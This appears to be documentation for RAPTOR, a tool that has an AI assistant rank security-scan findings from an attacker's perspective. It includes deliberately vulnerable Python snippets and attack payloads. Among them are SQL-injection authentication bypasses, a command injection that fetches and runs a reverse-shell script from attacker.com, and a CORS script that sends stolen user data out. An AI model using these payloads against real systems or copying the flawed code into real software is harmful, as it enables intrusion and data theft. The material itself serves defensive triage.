How RAPTOR prioritizes security findings using attacker-centric analysis and impact-based decision making
RAPTOR uses adversarial thinking to prioritize security findings based on real-world exploitation likelihood and impact. This approach helps security teams focus on what matters most to attackers.
When Python returns findings, RAPTOR analyzes them with an adversarial lens.Source:tiers/analysis-guidance.md:1Auto-loads: After Python scan completes (keywords: “findings”, “results”, “vulnerabilities”)
Maximum impact (cloud infrastructure, full account access)
Examples: AWS keys, GitHub tokens, database passwords, API keys
Attacker perspective:
1. Find exposed secret in code/logs2. Use secret to authenticate3. Game over - full access
Real-world example:
# Found in config.pyAWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE"AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"# Attacker uses:aws s3 ls --profile stolen # Lists all S3 bucketsaws ec2 describe-instances # Full infrastructure visibility
# SQL Injection in login.py:42query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"db.execute(query)# Attacker payload:username: admin' OR '1'='1' --password: anything# Resulting query:# SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='anything'# Returns admin user, authentication bypassed
Present to user: “Found [N] input validation issues - high exploitability - REVIEW SECOND”
1. Identify endpoint with missing auth check2. Access directly without authentication3. OR: Manipulate parameter to access other user's data (IDOR)
Real-world example:
# Missing auth check in api/admin.py:15@app.route('/admin/users')def list_users(): # No authentication check! return jsonify(User.query.all())# Attacker accesses:curl https://target.com/admin/users# Returns all user data without authentication
IDOR example:
# Broken access control in api/documents.py:28@app.route('/documents/<doc_id>')@login_requireddef get_document(doc_id): doc = Document.query.get(doc_id) # No check if current_user owns doc! return jsonify(doc)# Attacker iterates:GET /documents/1 # Their documentGET /documents/2 # Someone else's document (but works!)GET /documents/3 # Another user's document
Examples: Weak algorithms (MD5, SHA1, DES), hardcoded keys, weak random
Attacker perspective:
1. Identify weak crypto (MD5, SHA1, DES)2. Capture encrypted data3. Crack with known attacks (rainbow tables, collision attacks)4. Access plaintext data
Real-world example:
# Weak hash in auth.py:67import hashlibdef hash_password(password): return hashlib.md5(password.encode()).hexdigest()# Attacker approach:# 1. Obtain password hash from database (via SQLi or breach)# 2. Use rainbow table lookup# 3. Instant password recovery for weak passwords
Hardcoded key example:
# Hardcoded encryption key in config.py:12ENCRYPTION_KEY = "super_secret_key_123"# Attacker:# 1. Find key in source code (GitHub, decompiled binary)# 2. Decrypt all data encrypted with this key# 3. Full data breach
Present to user: “Found [N] crypto issues - data protection - REVIEW FOURTH”
# Debug mode in production (app.py:5)app = Flask(__name__)app.config['DEBUG'] = True # NEVER in production!# Attacker accesses error page:# - Full stack trace with file paths# - Environment variables (may contain secrets)# - Interactive debugger (code execution!)
CORS misconfiguration:
# Insecure CORS in api.py:10@app.after_requestdef after_request(response): response.headers['Access-Control-Allow-Origin'] = '*' # Allows any website to make requests with user's credentials return response# Attacker creates malicious website:# <script># fetch('https://target.com/api/user/data', {credentials: 'include'})# .then(data => sendToAttacker(data))# </script># Victim visits attacker's site → data stolen
Results: [N] findings from Python[Summarize with adversarial priority ordering]What next?1. Deep - Analyze top findings in detail2. Fix - Apply patches / review exploits Python generated3. Generate report - Summarize and export4. Retry - Run Python again with different parameters5. Done - FinishYour choice? [1-5]
For deep analysis, load the security researcher persona:Location:tiers/personas/security_researcher.md:1Usage:"Use security researcher persona to analyze finding #X"
import subprocess@app.route('/api/ping')def ping_host(): host = request.args.get('host') # Vulnerable: Direct shell execution with user input result = subprocess.check_output(f'ping -c 1 {host}', shell=True) return result
Adversarial analysis:
Source Control: HTTP GET parameter → Attacker controlled ✅
Sanitizer: None → Bypassable ✅
Reachability: Public endpoint → Highly reachable ✅
Impact: RCE → Critical ✅
Attack scenario:
# Attacker payload:curl "https://target.com/api/ping?host=8.8.8.8;whoami"# Resulting command:ping -c 1 8.8.8.8;whoami# Executes: ping 8.8.8.8, then whoami# Full compromise:curl "https://target.com/api/ping?host=8.8.8.8;wget attacker.com/shell.sh -O /tmp/shell.sh;bash /tmp/shell.sh"# Downloads and executes reverse shell
Verdict: EXPLOITABLE (High confidence)Priority: 1 (Review first after secrets)
# Attacker payload:username: adminpassword: anything' OR '1'='1' --# Resulting query:SELECT * FROM users WHERE username='admin' AND password='anything' OR '1'='1' --'# OR clause makes entire WHERE true, -- comments out rest# Returns admin user, authentication bypassed
Sanitizer:escape() properly HTML-encodes all dangerous characters → Effective ❌
Reachability: Public endpoint → Highly reachable ✅
Impact: XSS blocked by sanitizer → None ❌
Test:
# Attacker payload:<script>alert(1)</script># After escape():<script>alert(1)</script># Rendered in browser:<h1>Profile: <script>alert(1)</script></h1># Displays as text, does not execute
Verdict: FALSE POSITIVE (Effective sanitizer in place)
This is for presenting results, not changing Python’s execution:
Python scans everything in parallel (no priority order in execution)
Adversarial thinking helps user understand what matters most
User can always override this prioritization
Example:
User: "Show me config issues first, I don't care about secrets"Claude: ✓ Showing config issues first (your priority)
User always has final say on what to review.
The adversarial thinking framework prioritizes findings from an attacker’s perspective. This does not mean other findings are unimportant - it means these are what attackers will exploit first.
Use the security researcher persona for deep analysis of specific findings: “Use security researcher persona to analyze finding #42”